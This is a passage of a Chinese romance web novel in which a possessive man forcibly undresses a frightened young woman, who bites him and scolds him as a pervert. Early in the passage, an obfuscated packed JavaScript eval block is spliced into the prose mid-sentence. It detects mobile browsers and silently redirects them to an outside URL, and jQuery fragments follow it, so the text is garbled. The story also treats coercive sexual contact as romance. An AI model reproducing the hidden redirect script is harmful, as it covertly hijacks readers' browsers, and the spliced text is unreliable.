直至衣衫被江砚黎尽数剥落,阮南枝脑子还是一片空白,身子不由自主地颤抖着,显然怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17031971|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了极点。 她不明白,事态怎么就发展到这个地步了? 在阮南枝的意识里,感情里最忌讳猜忌与隐瞒,但凡出了矛盾,就该坐下来开诚布公地把话说透,如此才能让彼此的心靠得更近。 可江砚黎骨子里的偏执和占有欲,则只想通过强硬占有的方式,以此来确认她的心没有偏移,依旧完完整整地属于他一个人。 他这种方式,只会让阮南枝感到惶恐,不安到了极点。 在女孩惊惶不定的注视下,江砚黎伸出舌尖,宛若一匹盯上猎物而即将享用饱餐的孤狼,顺着她雪腻的脖颈一路舔舐而下,无处不撩拨得他心神失控。 心思各异的两人,没有注意到屋内的小猫已经醒了,物种不同的它不知道面前的人类在干什么,小脸上的表情看起来极为疑惑,对着他们轻轻喵呜了一声。 听到声音,阮南枝登时回过神来,她使出吃奶的劲儿用力咬了一下不肯松手的男人,口齿间的血腥味弥漫开来。 江砚黎闷哼一声,吃痛下意识松开手,眼神沉沉地盯着她。 觉察到气氛不对的小猫,再次弱弱地喵了一声,随后趁着两人不注意,顺着门缝溜出了寝房。 门外候着的婢女见状,连忙轻步上前将猫儿抱在怀中。 方才屋内言语模糊,她虽听不真切,但也隐隐约约感觉出二位主子正闹着不快,当下大气也不敢喘一口,敛声屏气地合上门扉,蹑足悄然退下。 只恐惊扰了里头,致使主子们的火气更盛。 “变、变态!!” 被至极挑逗的阮南枝羞愧万分,脱口而出就这么骂了出来,她第一时间并没有发现自己将男人咬出血了,手足无措匆匆拾起散落的衣袂,胡乱披在身上。 满头青丝如墨瀑般披散在纤瘦的肩头,柔滑似绸,映着她纤秾合度的身段,如风前弱柳一般,楚楚然自有倾城之姿。 再次抬起头来时,正见身前之人似笑非笑,抬手漫不经心地拭过唇角的血渍,那抹猩红衬得他的眉目愈发妖冶危险。 这才惊觉方才情急之下,她竟将他咬得见了血,心头一紧,刚想探手抚上他的薄唇,却又想到此刻他这么恐怖,伸出去的手硬生生又收了回来。 “变态?”男人好像在笑,可显然不是在笑,“阮南枝,你说对了。” “既然你都看到了,那我便再告诉你些密函上不曾写出的事。” “那日嘉柔郡主的衔青宴,是我第一次见到你,当时……就已经对你起了不好的心思。” 江砚黎从容不迫地说着,像是想起了什么好玩的事情,低低地笑了。 “你那细长白皙的脖颈,让我忍不住想要吻上去。” “我想把那些……”他附身低头,在她耳边低声说了两个字,然后目光灼灼地继续道,“都弄到你的脖子上。” 单纯天真的小姑娘何曾听说过这种惊世骇俗的玩法?阮南枝霎时花容失色,惊讶地张着嘴,说不出话来。 “死变态……” 好半晌,受到了巨大震撼的阮南枝才缓过神来,重新找回自己的声音,呜咽着带泪斥骂面前之人。 怪不得他往日总喜欢亲吻她的脖颈,原是存了这一癖好! 变态,讨厌!